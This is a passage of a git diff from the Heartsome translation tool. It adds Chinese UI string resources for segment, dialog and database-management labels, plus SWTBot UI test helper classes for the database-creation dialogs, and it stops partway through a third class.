+lblNatTableHeaderLineNum = \u884c\u53f7 +lblNatTableHeaderStatus = \u72b6\u6001 + +ctxMenuApproveStatus = \u8bbe\u7f6e\u6587\u672c\u6bb5\u6279\u51c6\u72b6\u6001 +approveStatusApproveCurrentSeg = \u6279\u51c6\u5f53\u524d\u6587\u672c\u6bb5 +approveStatusUnapproveCurrentSeg = \u53d6\u6d88\u6279\u51c6\u5f53\u524d\u6587\u672c\u6bb5 +approveStatusApproveVisableSegs = \u6279\u51c6\u53ef\u7f16\u8f91\u6587\u672c\u6bb5 +approveStatusUnapproveVisableSegs = \u53d6\u6d88\u6279\u51c6\u53ef\u7f16\u8f91\u6587\u672c\u6bb5 +approveStatusApproveAllSegs = \u6279\u51c6\u6240\u6709\u6587\u672c\u6bb5 +approveStatusUnapproveAllSegs = \u53d6\u6d88\u6279\u51c6\u6240\u6709\u6587\u672c\u6bb5 + +ctxMenuLockStatus = \u8bbe\u7f6e\u6587\u672c\u6bb5\u9501\u5b9a\u72b6\u6001 +lockStatusLockCurrentSeg = \u9501\u5b9a\u5f53\u524d\u6587\u672c\u6bb5 +lockStatusUnlockCurrentSeg = \u53d6\u6d88\u9501\u5b9a\u5f53\u524d\u6587\u672c\u6bb5 +lockStatusLockRepetitionSegs = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 +lockStatusUnlockRepetitionSegs = \u53d6\u6d88\u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 +lockStatusLockVisableSegs = \u9501\u5b9a\u53ef\u7f16\u8f91\u6587\u672c\u6bb5 +lockStatusUnlockVisableSegs = \u53d6\u6d88\u9501\u5b9a\u53ef\u7f16\u8f91\u6587\u672c\u6bb5 +lockStatusLockAllSegs = \u9501\u5b9a\u6240\u6709\u6587\u672c\u6bb5 +lockStatusUnlockAllSegs = \u53d6\u6d88\u9501\u5b9a\u6240\u6709\u6587\u672c\u6bb5 + +ctxMenuTargetState = \u8bbe\u7f6e\u76ee\u6807\u6587\u672c\u6bb5\u72b6\u6001 +targetStateNew = new +targetStateFinal = final +targetStateTranslated = translated +targetStateSignedOff = signed-off +targetStateAdaptation = needs-adaptation +targetStateNeedsReivewAdaptation = needs-reivew-adaptation +targetStateNeedsL10n = needs-l10n +targetStateNeedsReviewL10n = needs-review-l10n +targetStateNeedsTranslation = needs-translation +targetStateNeedsReviewTranslation = needs-review-translation + + +# ##################### +# # \u5bf9\u8bdd\u6846 # +# ##################### + +# \u5411\u5bfc\u5f0f\u5bf9\u8bdd\u6846\u4e2d\u7684\u4e00\u4e9b\u6309\u94ae +btnBack = < Back +btnNext = Next > +btnFinish = Finish + +# \u65b0\u5efa\u5bf9\u8bdd\u6846\u4e2d\u7684\u901a\u7528\u63d0\u793a\u4fe1\u606f +msgInvalidCharInResourceName = \ {0} is an invalid character in resource name ''{1}''. + +# \u6587\u4ef6 > \u65b0\u5efa\u5bf9\u8bdd\u6846 +dlgTitleFileNew = New +treiCreateProject = \u521b\u5efa\u9879\u76ee +treiCreateTmTbDB = \u521b\u5efa\u8bb0\u5fc6\u5e93/\u672f\u8bed\u5e93 + +# \u65b0\u5efa\u6587\u4ef6\u5bf9\u8bdd\u6846 +dlgTitleNewFile = New File +txtWLblFileName = File name: +btnAdvancedCollapsed = Advanced >> +btnAdvancedExpanded = << Advanced + +# \u65b0\u5efa\u6587\u4ef6\u5939\u5bf9\u8bdd\u6846 +dlgTitleNewFolder = New Folder +txtWLblFolderName = Folder name: + +# \u65b0\u5efa\u9879\u76ee\u5bf9\u8bdd\u6846 +dlgTitleNewProject = \u65b0\u5efa\u9879\u76ee +dlgTitleCreateProject = \u65b0\u5efa\u9879\u76ee +# \u7b2c 1 \u9875 \u57fa\u672c\u4fe1\u606f +lblProjectInfo = \u9879\u76ee\u4fe1\u606f +msgCreateProjectBasicInfo = \u586b\u5199\u9879\u76ee\u57fa\u672c\u4fe1\u606f +txtWLblProjectName = \u9879\u76ee\u540d\u79f0(P): +txtWLblProjectRemark = \u5907\u6ce8(R): +txtWLblProjectClient = \u5ba2\u6237(C): +txtWLblProjectCompany = \u516c\u53f8(M): +txtWLblProjectEMail = \u90ae\u4ef6(E): +msgDucplicatedProjectName = \ \u9879\u76ee\u5df2\u7ecf\u5b58\u5728 +# \u7b2c 2 \u9875 \u8bed\u8a00\u5bf9 +lblLangSetting = \u8bed\u8a00\u8bbe\u7f6e +btnAddToRight = Add > +btnDeleteToLeft = < Delete +btnDeleteAll = Delete All +# \u7b2c 3\u30014\u30015 \u9875 \u8bb0\u5fc6\u5e93\u3001\u672f\u8bed\u5e93\u3001\u6e90\u6587\u4ef6 +lblTmSetting = \u8bb0\u5fc6\u5e93\u8bbe\u7f6e +lblTbSetting = \u672f\u8bed\u5e93\u8bbe\u7f6e +lblAddSrcFile = \u6dfb\u52a0\u6e90\u6587\u4ef6 +btnAddA = \u6dfb\u52a0(A) +btnCreate = \u521b\u5efa(C) +btnDeleteD = \u5220\u9664(D) +btnImportTMX = \u5bfc\u5165TMX(I) +btnImportTBX = \u5bfc\u5165TBX(I) + +# \u91cd\u547d\u540d\u5bf9\u8bdd\u6846 +dlgTitleRenameResource = Rename Resource +txtWLblNewName = New name: + +# \u91cd\u547d\u540d\u95ee\u9898\u5bf9\u8bdd\u6846 +dlgTitleRenameProblems = Rename Problems +lblOutOfSync = Resource is out of sync with file system: ''/{0}''. +lblInvalidChar = {0} is an invalid character in resource name ''{1}''. + +# \u9879\u76ee\u5df2\u5b58\u5728\u5bf9\u8bdd\u6846 +dlgTitleProjectExists = Project Exists +lblProjectExists = ''{0}'' exists. If you choose to overwrite ''{1}'', its original content cannot be restored (even if this operation is undone). Do you wish to overwrite the project? + +# \u7ba1\u7406\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5bf9\u8bdd\u6846 +dlgTitleManageCustomFilter = \u6dfb\u52a0\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u6761\u4ef6 +lstWLblCustomFilter = \u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\uff1a +txtWLblFilterName = \u8fc7\u6ee4\u5668\u540d\u79f0\uff1a +radBtnMatchAllConditions = \u6ee1\u8db3\u6240\u6709\u6761\u4ef6 +radBtnMatchAnyCondition = \u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6 +cmbMatchTitleKeyword = \u5173\u952e\u5b57 +cmbMatchTitleState = \u72b6\u6001 +cmbMatchTitleNote = \u6279\u6ce8 +cmbMatchTitleProp = \u5c5e\u6027 +cmbMatchTypeContains = \u5305\u542b +cmbMatchTypeNotContain = \u4e0d\u5305\u542b +cmbMatchTypeEquals = \u76f8\u7b49 +cmbMatchTypeNotEqual = \u4e0d\u76f8\u7b49 +txtPleaseInputValue = \u8bf7\u8f93\u5165\u503c +txtPleaseInputPropName = \u8bf7\u8f93\u5165\u5c5e\u6027\u540d +txtPleaseInputPropValue = \u8bf7\u8f93\u5165\u5c5e\u6027\u503c +# \u76ee\u6807\u6587\u672c\u72b6\u6001\u503c\u89c1 TargetStattargetState17 +btnAddCondition = + +btnDeleteCondition = - +#btnAdd = \u65b0\u589e +#btnDelete = \u5220\u9664 +btnEdit = \u7f16\u8f91 + +# \u5e93\u7ba1\u7406 +dlgTitleDatabaseManagement = \u5e93\u7ba1\u7406 +txtWLblServer = \u670d\u52a1\u5668: +txtWLblPort = \u7aef\u53e3: +txtWLblInstance = \u5b9e\u4f8b\u540d: +txtWLblPath = \u8def\u5f84: +btnBrowse = \u6d4f\u89c8... +txtWLblUsername = \u7528\u6237\u540d: +txtWLblPassword = \u5bc6\u7801: +chkbxRemeber = \u8bb0\u4f4f\u4fe1\u606f +btnSearch = \u67e5\u8be2(S) +tblColNum = \u7f16\u53f7 +tblColDatabaseName = \u6570\u636e\u5e93\u540d\u79f0 +tblColLanguage = \u8bed\u8a00 +btnCreateN = \u521b\u5efa(N) +btnCloseC = \u5173\u95ed(C) +btnAddA = \u6dfb\u52a0(A) + +dlgTitleMemoryManagement = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +dlgTitletreiTbManagement = \u672f\u8bed\u5e93\u7ba1\u7406 +btnRemoveR = \u79fb\u9664(R) +btnSaveS = \u4fdd\u5b58(S) +btnSearchS = \u67e5\u8be2(S) +btnCreateDb = \u521b\u5efa\u5e93(C) +btnDeleteDb = \u5220\u9664\u5e93(D) +dlgTitleCreateMemoryDatabase =\u521b\u5efa\u8bb0\u5fc6\u5e93 +dlgTitleCreatetreiTbDatabase =\u521b\u5efa\u672f\u8bed\u5e93 + +# \u521b\u5efa\u6570\u636e\u5e93 +dlgTitleCreateDatabase = \u521b\u5efa\u6570\u636e\u5e93 +txtWLblDatabaseName = \u8bf7\u8f93\u5165\u4e00\u4e2a\u6570\u636e\u5e93\u540d\u79f0: +msgDBNameInvalid = \u521b\u5efa\u6570\u636e\u5e93\u5931\u8d25 +msgDBNameTooLong = \u521b\u5efa\u6570\u636e\u5e93\u5931\u8d25 +msgDBExists = \u5f53\u524d\u6570\u636e\u5e93\u5df2\u7ecf\u5b58\u5728 + +# \u5bfc\u5165 TMX +dlgTitleImportTMX = \u5bfc\u5165TMX\u6587\u4ef6\u5411\u5bfc +txtWLblTMXFile = TMX\u6587\u4ef6: +txtWLblDatabase = \u6570\u636e\u5e93: +btnBrowseB = \u6d4f\u89c8...(B) +btnSelectDB = \u9009\u62e9\u5e93(D) +btnSetting = \u8bbe\u7f6e...(S) +txtImportSuccess = \u6210\u529f\u7684\u5b8c\u6210\u5bfc\u5165.. +txtNoFileToImport = \ \u8bf7\u9009\u62e9\u4e00\u4e2a\u9700\u8981\u5bfc\u5165\u7684\u6587\u4ef6 +txtNoDBToImport = \ \u8bf7\u9009\u62e9\u4e00\u4e2a\u76ee\u6807\u5e93 +txtTMXFileError = \ \u8bf7\u9009\u62e9\u6b63\u786e\u7684 TMX \u6587\u4ef6\u3002 +lblImportingTMX = \u6b63\u5728\u5bfc\u5165TMX\u6587\u4ef6... +txtCancelImportTMX = \ \u7528\u6237\u53d6\u6d88 TMX \u5bfc\u5165\u64cd\u4f5c\u3002 + +# \u5bfc\u5165 TBX +dlgTitleImportTBX = \u5bfc\u5165TBX\u6587\u4ef6 +txtWLblTBXFile = TBX\u6587\u4ef6: +txtTBXFileError = \ \u8bf7\u9009\u62e9\u6b63\u786e\u7684 TBX \u6587\u4ef6\u3002 +lblImportingTBX = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6 +txtCancelImportTBX = \ \u7528\u6237\u53d6\u6d88 TBX \u5bfc\u5165\u64cd\u4f5c\u3002 + +# \u9996\u9009\u9879 +dlgTitlePreferences = Preferences +btnRestoreDefaults = Restore Defaults +btnApply = Apply +# \u8bb0\u5fc6\u5e93 +treiTMDB = \u8bb0\u5fc6\u5e93 +prefTMChkbxShareDBTips = \u542f\u7528\u5171\u4eab\u5e93\u63d0\u793a +prefTMChkbxAutoQT = \u4f7f\u7528\u81ea\u52a8\u5feb\u901f\u7ffb\u8bd1 +prefTMChkbxMatchExistNotApplyTM = \u5339\u914d\u5b58\u5728\u65f6\u4e0d\u5e94\u7528\u8bb0\u5fc6\u5e93 +prefTMChkbxMatchCase = \u641c\u7d22\u8bb0\u5fc6\u5e93\u65f6\u533a\u5206\u5927\u5c0f\u5199 +prefTMChkbxAutoCompleteTag = \u5339\u914d\u65f6\u4f7f\u7528\u6807\u8bb0\u81ea\u52a8\u8865\u5168 +prefTMChkbxIgnoreTag = \u5339\u914d\u65f6\u662f\u5426\u5ffd\u7565\u6807\u8bb0 +prefTMSpinContextNumber = \u4e0a\u4e0b\u6587\u5339\u914d +prefTMSpinMatchNumber = \u8bb0\u5fc6\u5e93\u6700\u5927\u5339\u914d\u6570 +prefTMSpinMinMatchPercentage = \u8bb0\u5fc6\u5e93\u6700\u4f4e\u5339\u914d\u7387 +prefTMRadBtnSortDefaultDBFirst = \u9ed8\u8ba4\u5e93\u4f18\u5148 +prefTMRadBtnSortUpdateTimeReverse = \u66f4\u65b0\u65f6\u95f4\u5012\u5e8f\u6392\u5217 +prefTMRadBtnUpdateModeAlwaysAdd = \u59cb\u7ec8\u589e\u52a0 +prefTMRadBtnUpdateModeOverwrite = \u91cd\u590d\u8986\u76d6 +prefTMRadBtnUpdateModeIgnore = \u91cd\u590d\u5ffd\u7565 +# \u672f\u8bed\u5e93 +treiTBDB = \u672f\u8bed\u5e93 +prefTBRadBtnUpdateModeAlwaysAdd = \u59cb\u7ec8\u589e\u52a0 +prefTBRadBtnUpdateModeOverwrite = \u91cd\u590d\u8986\u76d6 +prefTBRadBtnUpdateModeMerge = \u91cd\u590d\u5408\u5e76 +prefTBRadBtnUpdateModeIgnore = \u91cd\u590d\u5ffd\u7565 +# \u9884\u7ffb\u8bd1 +treiPreTranslation = \u9884\u7ffb\u8bd1 +prefTransPreChkbxCaseSensitive = \u9884\u7ffb\u8bd1\u533a\u5206\u5927\u5c0f\u5199 +prefTransPreSpinMinMatchPercentage = \u9884\u7ffb\u8bd1\u6700\u4f4e\u5339\u914d\u7387 +prefTransPreRadBtnOverwriteModeKeepCurrent = \u4fdd\u7559\u73b0\u6709\u5339\u914d +prefTransPreRadBtnOverwriteModeOverwriteIfHigher = \u5982\u679c\u5339\u914d\u7387\u6bd4\u5f53\u524d\u9ad8\uff0c\u8986\u76d6\u73b0\u6709\u5339\u914d +prefTransPreRadBtnOverwriteModeAlwaysOverwrite = \u59cb\u7ec8\u8986\u76d6\u73b0\u6709\u5339\u914d + +# \u9884\u7ffb\u8bd1\u5bf9\u8bdd\u6846 +dlgTitlePreTranslation = \u9884\u7ffb\u8bd1 +tblColNum2 = \u5e8f\u53f7 +tblColFile = \u6587\u4ef6 +tblColSrcLang = \u6e90\u8bed\u8a00 +tblColTgtLang = \u76ee\u6807\u8bed\u8a00 +chkbxLock100Matches = \u662f\u5426\u9501\u5b9a\u5b8c\u5168\u5339\u914d +chkbxLockContextMatches = \u662f\u5426\u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +btnPreferencesSetting = \u53c2\u6570\u8bbe\u7f6e(S) +# \u9884\u7ffb\u8bd1\u7ed3\u679c\u5bf9\u8bdd\u6846 +dlgTitlePreTransResult = \u9884\u7ffb\u8bd1\u7ed3\u679c +tblColTransUnitNum = \u7ffb\u8bd1\u5355\u5143\u4e2a\u6570 +tblColTranslatedUnit = \u5df2\u7ffb\u8bd1\u5355\u5143 +tblColLockedContextMatches = \u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +tblColLocked100Matches = \u9501\u5b9a\u5b8c\u5168\u5339\u914d + +# \u9879\u76ee\u8bbe\u7f6e\u5bf9\u8bdd\u6846 +dlgTitleProjectSetting = \u9879\u76ee\u8bbe\u7f6e +treiProjectInfo = \u9879\u76ee\u4fe1\u606f +txtWLblClient_ = \u5ba2\u6237: +txtWLblCompany = \u516c\u53f8: +txtWLblEMail = \u7535\u5b50\u90ae\u4ef6: +txtWLblRemark = \u5907\u6ce8: +treiProjectLanguage = \u9879\u76ee\u8bed\u8a00 +treiTmSetting = \u8bb0\u5fc6\u5e93\u8bbe\u7f6e +treiTbSetting = \u672f\u8bed\u5e93\u8bbe\u7f6e +tblColName = \u540d\u79f0 +tblColType = \u7c7b\u578b +tblColAddress = \u670d\u52a1\u5668\u5730\u5740 +tblColMatch = \u662f\u5426\u5339\u914d +tblColDefaultDB = \u9ed8\u8ba4\u5e93 + +# Mock: \u6253\u5f00\u6587\u4ef6\u8f93\u5165\u6846 +dlgTitleOpenFile = \u6253\u5f00\u6587\u4ef6 + + +# ##################### +# # \u89c6\u56fe # +# ##################### + +# \u6279\u6ce8\u89c6\u56fe +viewTitleNotes = \u6279\u6ce8 +tlbBtnAddNote = \u6dfb\u52a0\u6279\u6ce8 +tlbBtnEditNote = \u7f16\u8f91\u6279\u6ce8 +tlbBtnDeleteNote = \u5220\u9664\u6279\u6ce8 + +# \u6587\u6863\u5c5e\u6027\u89c6\u56fe +viewTitleDocumentProperties = \u6587\u6863\u5c5e\u6027 +cmbWLblFile = \u6587\u4ef6 +txtWLblSourceDataType = \u539f\u59cb\u6570\u636e\u7c7b\u578b +txtWLblSourceEncoding = \u6e90\u7f16\u7801 +txtWLblSourceLanguage = \u6e90\u8bed\u8a00 +txtWLblClient = \u5ba2\u6237 +txtWlblProjectInfo = \u9879\u76ee\u76f8\u5173\u4fe1\u606f +txtWLblJobInfo = \u4f5c\u4e1a\u76f8\u5173\u4fe1\u606f +txtWLblJobDate = \u4f5c\u4e1a\u65e5\u671f +txtWLblOwner = \u8d1f\u8d23\u4eba +txtWLblSkeleton = \u9aa8\u67b6\u6587\u4ef6 +txtWLblTargetLanguage = \u76ee\u6807\u8bed\u8a00 +tblColProperty = \u5c5e\u6027 +tblColValue = \u503c +btnAdd = \u6dfb\u52a0 +btnEdit = \u7f16\u8f91 +btnDelete = \u5220\u9664 +btnAccept = \u63a5\u53d7 + +# \u9879\u76ee\u76ee\u5f55\u6811\u89c6\u56fe +viewTitleProjectTree = \u5bfc\u822a +ctxMenuNew = \u65b0\u5efa(N) +ctxMenuNewProject = \u65b0\u5efa\u9879\u76ee... +ctxMenuNewOther = \u5176\u4ed6... +ctxMenuOpenProjectFiles = \u6253\u5f00\u9879\u76ee\u6587\u4ef6 +ctxMenuOpenFile = \u6253\u5f00\u6587\u4ef6 +ctxMenuCopy = \u590d\u5236 +ctxMenuPaste = \u7c98\u8d34 +ctxMenuDelete = \u5220\u9664 +ctxMenuMove = \u79fb\u52a8... +ctxMenuRename = \u91cd\u547d\u540d... +ctxMenuRefresh = \u5237\u65b0 +ctxMenuCloseProject = \u5173\u95ed\u9879\u76ee +ctxMenuCloseUnrelatedProjects = \u5173\u95ed\u65e0\u5173\u7684\u9879\u76ee +ctxMenuSplitXLIFF = \u5206\u5272 XLIFF... +ctxMenuMergeXLIFF = \u5408\u5e76 XLIFF... +ctxMenuPreTranslate = \u9884\u7ffb\u8bd1 +ctxMenuQACheck = \u54c1\u8d28\u68c0\u67e5... +ctxMenuProjectSetting = \u9879\u76ee\u8bbe\u7f6e +ctxMenuConvertSrcFile2Xliff = \u6e90\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6 +ctxMenuConvertXliffFile2Tgt = XLIFF \u6587\u4ef6\u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6 +ctxMenuProperties = \u5c5e\u6027 + +# \u5feb\u901f\u7ffb\u8bd1\u89c6\u56fe +viewTitleQuickTranslationPanel = \u5feb\u901f\u7ffb\u8bd1 +tlbBtnAcceptMatch = \u63a5\u53d7\u6b64\u7ffb\u8bd1 +tlbBtnAcceptTextOnly = \u4ec5\u63a5\u53d7\u6587\u672c + +# \u8bb0\u5fc6\u5e93\u5339\u914d\u89c6\u56fe +viewTitleTmMatchesPanel = \u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u5339\u914d +tlbBtnAcceptMatch = \u63a5\u53d7\u6b64\u7ffb\u8bd1 +tlbBtnAcceptTextOnly = \u4ec5\u63a5\u53d7\u6587\u672c +tlbBtnFlagMatchInTm = \u6807\u8bb0\u8bb0\u5fc6\u5e93\u4e2d\u7684\u5339\u914d\u7ffb\u8bd1 +tlbBtnToggleMatchDetail = \u663e\u793a/\u9690\u85cf\u7ffb\u8bd1\u5355\u5143\u5c5e\u6027 +matchDetailGroupSign = \uff1b +matchDetailDelimiter = \uff1a +matchDetailModifyDate = \u4fee\u6539\u65e5\u671f +matchDetailOriginTM = \u6765\u6e90 +matchDetailJobOwner = \u4fee\u6539\u4eba +matchDetailJobInfo = \u4f5c\u4e1a\u76f8\u5173\u4fe1\u606f + +# \u672f\u8bed\u89c6\u56fe +viewTitleTerminologyPanel = \u672f\u8bed +tlbBtnInsertTerm = \u63d2\u5165\u9009\u5b9a\u672f\u8bed + + +# ######################### +# # \u4fe1\u606f\u5bf9\u8bdd\u6846 # +# ######################### + +# \u901a\u7528\u5185\u5bb9 +dlgTitleInformation = Information +dlgTitleConfirm = Confirm +dlgTitleTips = \u63d0\u793a\u4fe1\u606f +dlgTitleErrorInfo = \u9519\u8bef\u63d0\u793a +dlgTitleError = \u9519\u8bef + +# \u786e\u8ba4\u5220\u9664\u9879\u76ee +dlgTitleConfirmProjectDelete = Delete Resources +msgConfirmDeleteProject = Are you sure you want to delete project ''{0}''? +radBtnAlsoDeleteContentsUnder = Also delete contents under ''{0}'' +radBtnDoNotDeleteContents = Do not delete contents +chkbxDeleteProjectContentsOnDisk = Delete project contents on disk (cannot be undone) +btnPreviewCollapsed = Preview > +btnPreviewExpanded = Preview < + +# \u5df2\u6279\u51c6\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5408\u5e76 +msgCannotMergeApprovedSeg = \u5df2\u6279\u51c6\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5408\u5e76\u3002 + +# \u65e0\u4e0b\u4e00\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5408\u5e76 +msgCannotMergeSegWhenNoNextSeg = \u4e0d\u5b58\u5728\u4e0b\u4e00\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5408\u5e76\u3002 + +# \u65e0\u4e0a\u4e00\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5408\u5e76 +msgCannotMergeSegWhenNoPrevSeg = \u4e0d\u5b58\u5728\u4e0a\u4e00\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5408\u5e76\u3002 + +# \u5df2\u6279\u51c6\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5206\u5272 +msgCannotSplitApprovedSeg = \u5df2\u6279\u51c6\u6587\u672c\u6bb5\uff0c\u4e0d\u80fd\u5206\u5272\u3002 + +# \u672a\u627e\u5230\u6587\u4ef6 +dlgTitleFileNotFound = Open File +msgFileNotFound = The file ''{0}'' could not be found. +msgFileNameInvalid = \nThe above file name is invalid. + +# \u5149\u6807\u5206\u5272\u4f4d\u7f6e +msgPlaceCursorToSplit = \u8bf7\u5c06\u5149\u6807\u653e\u5728\u60a8\u8981\u5206\u5272\u7684\u6e90\u6587\u672c\u7684\u4f4d\u7f6e\u3002 + +# \u8fdb\u5ea6\u5bf9\u8bdd\u6846 +dlgTitleProgressInformation = Progress Information +chkbxAlwaysRunInBackground = Always run in background +btnDetailsCollapsed = Details >> +btnDetailsExpanded = Details << +btnRunInBackground = Run in background + +# \u5220\u9664\u8d44\u6e90\u8fdb\u5ea6 +dlgTitleProgressDeleteResource = Deleting resources + +# \u662f\u5426\u8981\u4fdd\u5b58 +msgSaveContentOrNot = \u4e0d\u4fdd\u5b58\u5f53\u524d\u5185\u5bb9\u5417\uff1f + +# \u6570\u636e\u5e93\u7ba1\u7406\u76f8\u5173\u4fe1\u606f\u5bf9\u8bdd\u6846\u5185\u5bb9 +msgServerIsRequired = \u5fc5\u987b\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668\u3002 +msgPortIsRequired = \u5fc5\u987b\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668\u7aef\u53e3\u3002 +msgInstanceIsRequired = \u5fc5\u987b\u6307\u5b9a\u5b9e\u4f8b\u540d\u79f0 +msgPathIsRequired = \u5fc5\u987b\u6307\u5b9a\u4e00\u4e2a\u6570\u636e\u5e93\u5b58\u653e\u4f4d\u7f6e\u3002 +msgUsernameIsRequired = \u5fc5\u987b\u6307\u5b9a\u767b\u5f55\u6570\u636e\u5e93\u670d\u52a1\u5668\u7528\u6237\u540d\u3002 +msgServerConnectionError = \u8fde\u63a5\u670d\u52a1\u5668\u5931\u8d25,\u8bf7\u68c0\u67e5\u6570\u636e\u5e93\u8fde\u63a5\u53c2\u6570\u7684\u6b63\u786e\u6027 +msgDeleteDatabaseFromServer = \u4ece\u670d\u52a1\u5668\u4e0a\u628a\u8be5\u5e93\u4ece\u7269\u7406\u4e0a\u5220\u9664,\u786e\u5b9a\u6267\u884c\u5417\uff1f + +# \u9884\u7ffb\u8bd1\u8fdb\u5ea6\u5bf9\u8bdd\u6846 +dlgTitlePreTranslating = \u6b63\u5728\u6267\u884c\u9884\u7ffb\u8bd1,\u8bf7\u7a0d\u5019.... +msgPreTranslating = \u6b63\u5728\u5904\u7406\u6587\u4ef6,\u8bf7\u7a0d\u540e... + +# \u9009\u62e9\u5e93\u65f6\u7684\u63d0\u793a +msgNoMatchInDB = \u4ee5\u4e0b\u5e93\u548c\u9879\u76ee\u7684\u8bed\u8a00\u5bf9\u6ca1\u6709\u5339\u914d: + +# \u9884\u7ffb\u8bd1\u65f6\u672a\u9009\u62e9\u5e93 +msgNoDBForPreTranslate = \u5f53\u524d\u9879\u76ee\u6ca1\u6709\u53ef\u7528\u7684\u6570\u636e\u5e93\u8d44\u6e90 diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/CreateDatabaseDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/CreateDatabaseDialog.java new file mode 100644 index 0000000..0ca12d0 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/CreateDatabaseDialog.java @@ -0,0 +1,68 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * 创建库对è¯æ¡† + * @author felix_lu + */ +public class CreateDatabaseDialog extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + + /** + * 按标题识别对è¯æ¡† + */ + public CreateDatabaseDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleCreateDatabase")).widget); + } + + /** + * @return 文本框:数æ®åº“å称; + */ + public SWTBotText txtWLblDatabaseName() { + // return dialogBot.text(); + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblDatabaseName")); + } + + /** + * @return 文本框:数æ®åº“å称éžæ³•ä¿¡æ¯; + */ + public SWTBotText msgDBNameInvalid() { + return dialogBot.text(TsUIConstants.getString("msgDBNameInvalid")); + } + + /** + * @return 文本框:数æ®åº“å称过长信æ¯; + */ + public SWTBotText msgDBNameTooLong() { + return dialogBot.text(TsUIConstants.getString("msgDBNameTooLong")); + } + + /** + * @return 文本框:数æ®åº“å称已存在信æ¯; + */ + public SWTBotText msgDBExists() { + return dialogBot.text(TsUIConstants.getString("msgDBExists")); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/CreateMemoryDbDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/CreateMemoryDbDialog.java new file mode 100644 index 0000000..afb9093 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/CreateMemoryDbDialog.java @@ -0,0 +1,68 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * 创建库对è¯æ¡† + * @author roy_xiao + */ +public class CreateMemoryDbDialog extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + + /** + * 按标题识别对è¯æ¡† + */ + public CreateMemoryDbDialog(String title) { + super(HSBot.bot().shell(TsUIConstants.getString(title)).widget); + } + + /** + * @return 文本框:数æ®åº“å称; + */ + public SWTBotText txtWLblDatabaseName() { + // return dialogBot.text(); + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblDatabaseName")); + } + + /** + * @return 文本框:数æ®åº“å称éžæ³•ä¿¡æ¯; + */ + public SWTBotText msgDBNameInvalid() { + return dialogBot.text(TsUIConstants.getString("msgDBNameInvalid")); + } + + /** + * @return 文本框:数æ®åº“å称过长信æ¯; + */ + public SWTBotText msgDBNameTooLong() { + return dialogBot.text(TsUIConstants.getString("msgDBNameTooLong")); + } + + /** + * @return 文本框:数æ®åº“å称已存在信æ¯; + */ + public SWTBotText msgDBExists() { + return dialogBot.text(TsUIConstants.getString("msgDBExists")); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/DatabaseManagementDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/DatabaseManagementDialog.java new file mode 100644 index 0000000..a62a32a --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/DatabaseManagementDialog.java @@ -0,0 +1,195 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import 